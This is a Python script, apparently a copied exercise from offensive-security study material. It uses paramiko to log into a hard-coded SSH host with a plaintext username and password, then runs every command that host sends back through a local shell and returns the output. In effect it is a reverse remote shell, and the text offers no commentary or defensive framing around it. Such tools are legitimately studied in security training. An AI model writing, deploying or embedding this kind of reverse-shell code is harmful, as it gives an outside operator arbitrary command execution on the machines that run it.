X Tutup
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Jun 22 22:04:23 2020 @author: edoardottt """ import threading import paramiko import subprocess def ssh_command(ip, user, passwd, command): client = paramiko.SSHClient() #client.load_host_keys('/home/justin/.ssh/known_hosts') client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, username=user, password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command) print(ssh_session.recv(1024)) # read banner while True: command = ssh_session.recv(1024) # get the command from the SSH server try: cmd_output = subprocess.check_output(command, shell=True) ssh_session.send(cmd_output) except Exception as e: ssh_session.send(str(e)) client.close() return ssh_command('192.168.100.130', 'justin', 'lovesthepython', 'id')
X Tutup